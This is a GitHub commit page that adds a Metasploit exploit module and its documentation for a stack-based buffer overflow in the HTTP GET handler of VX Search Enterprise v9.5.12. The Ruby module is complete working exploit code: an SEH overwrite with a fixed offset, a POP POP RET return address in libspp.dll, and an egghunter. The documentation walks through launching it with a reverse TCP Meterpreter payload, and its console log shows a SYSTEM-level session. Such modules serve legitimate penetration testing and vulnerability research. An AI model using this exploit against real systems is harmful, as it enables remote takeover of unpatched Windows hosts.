Skip to content

Commit 467f1ce

Browse files
committed
Land rapid7#8411, Buffer overflow in VXSearch Enterprise v9.5.12
2 parents b83853d + c1624d0 commit 467f1ce

File tree

2 files changed

+175
-0
lines changed

2 files changed

+175
-0
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
## Vulnerable Application
2+
3+
[VX Search Enterprise](www.vxsearch.com) versions up to v9.5.12 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerability is caused by improper bounds checking of the request path in HTTP GET requests sent to the built-in web server. This module has been tested successfully on Windows 7 SP1. The vulnerable application is available for download at [VX Search Enterprise](http://www.vxsearch.com/setups/vxsearchent_setup_v9.5.12.exe).
4+
5+
## Verification Steps
6+
1. Install a vulnerable VX Search Enterprise
7+
2. Start `VX Search Enterprise` service
8+
3. Start `VX Search Enterprise` client application
9+
4. Navigate to `Tools` > `VX Search Options` > `Server`
10+
5. Check `Enable Web Server On Port 80` to start the web interface
11+
6. Start `msfconsole`
12+
7. Do `use exploit/windows/http/vxsrchs_bof`
13+
8. Do `set RHOST ip`
14+
9. Do `check`
15+
10. Verify the target is vulnerable
16+
11. Do `set PAYLOAD windows/meterpreter/reverse_tcp`
17+
12. Do `set LHOST ip`
18+
13. Do `exploit`
19+
14. Verify the Meterpreter session is opened
20+
21+
## Scenarios
22+
23+
###VX Search Enterprise v9.5.12 on Windows 7 SP1
24+
25+
```
26+
msf exploit(vxsrchs_bof) > show options
27+
28+
Module options (exploit/windows/http/vxsrchs_bof):
29+
30+
Name Current Setting Required Description
31+
---- --------------- -------- -----------
32+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
33+
RHOST 172.16.0.18 yes The target address
34+
RPORT 80 yes The target port
35+
SSL false no Negotiate SSL/TLS for outgoing connections
36+
VHOST no HTTP server virtual host
37+
38+
39+
Payload options (windows/meterpreter/reverse_tcp):
40+
41+
Name Current Setting Required Description
42+
---- --------------- -------- -----------
43+
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
44+
LHOST 172.16.0.20 yes The listen address
45+
LPORT 4444 yes The listen port
46+
47+
48+
Exploit target:
49+
50+
Id Name
51+
-- ----
52+
0 VX Search Enterprise v9.5.12
53+
54+
55+
msf exploit(vxsrchs_bof) > exploit
56+
57+
[*] Started reverse TCP handler on 172.16.0.20:4444
58+
[*] Sending request...
59+
[*] Sending stage (958324 bytes) to 172.16.0.18
60+
[*] Meterpreter session 1 opened (172.16.0.20:4444 -> 172.16.0.18:49162) at 2017-05-18 16:10:58 +0100
61+
62+
meterpreter > getuid
63+
Server username: NT AUTHORITY\SYSTEM
64+
meterpreter > sysinfo
65+
Computer : PC-01
66+
OS : Windows 7 (Build 7600).
67+
Architecture : x86
68+
System Language : pt_PT
69+
Domain : LAB
70+
Logged On Users : 2
71+
Meterpreter : x86/windows
72+
meterpreter >
73+
```
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GreatRanking
8+
9+
include Msf::Exploit::Remote::Seh
10+
include Msf::Exploit::Remote::Egghunter
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'VX Search Enterprise GET Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a stack-based buffer overflow vulnerability
18+
in the web interface of VX Search Enterprise v9.5.12, caused by
19+
improper bounds checking of the request path in HTTP GET requests
20+
sent to the built-in web server. This module has been tested
21+
successfully on Windows 7 SP1 x86.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Daniel Teixeira'
27+
],
28+
'DefaultOptions' =>
29+
{
30+
'EXITFUNC' => 'thread'
31+
},
32+
'Platform' => 'win',
33+
'Payload' =>
34+
{
35+
'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
36+
'Space' => 500
37+
},
38+
'Targets' =>
39+
[
40+
[ 'VX Search Enterprise v9.5.12',
41+
{
42+
'Offset' => 2488,
43+
'Ret' => 0x10015ffe # POP # POP # RET [libspp.dll]
44+
}
45+
]
46+
],
47+
'Privileged' => true,
48+
'DisclosureDate' => 'Mar 15 2017',
49+
'DefaultTarget' => 0))
50+
end
51+
52+
def check
53+
res = send_request_cgi(
54+
'method' => 'GET',
55+
'uri' => '/'
56+
)
57+
58+
if res && res.code == 200
59+
version = res.body[/VX Search Enterprise v[^<]*/]
60+
if version
61+
vprint_status("Version detected: #{version}")
62+
if version =~ /9\.5\.12/
63+
return Exploit::CheckCode::Appears
64+
end
65+
return Exploit::CheckCode::Detected
66+
end
67+
else
68+
vprint_error('Unable to determine due to a HTTP connection timeout')
69+
return Exploit::CheckCode::Unknown
70+
end
71+
72+
Exploit::CheckCode::Safe
73+
end
74+
75+
def exploit
76+
77+
eggoptions = {
78+
checksum: true,
79+
eggtag: rand_text_alpha(4, payload_badchars)
80+
}
81+
82+
hunter, egg = generate_egghunter(
83+
payload.encoded,
84+
payload_badchars,
85+
eggoptions
86+
)
87+
88+
sploit = rand_text_alpha(target['Offset'])
89+
sploit << generate_seh_record(target.ret)
90+
sploit << hunter
91+
sploit << make_nops(10)
92+
sploit << egg
93+
sploit << rand_text_alpha(5500)
94+
95+
print_status('Sending request...')
96+
97+
send_request_cgi(
98+
'method' => 'GET',
99+
'uri' => sploit
100+
)
101+
end
102+
end

0 commit comments

Comments
 (0)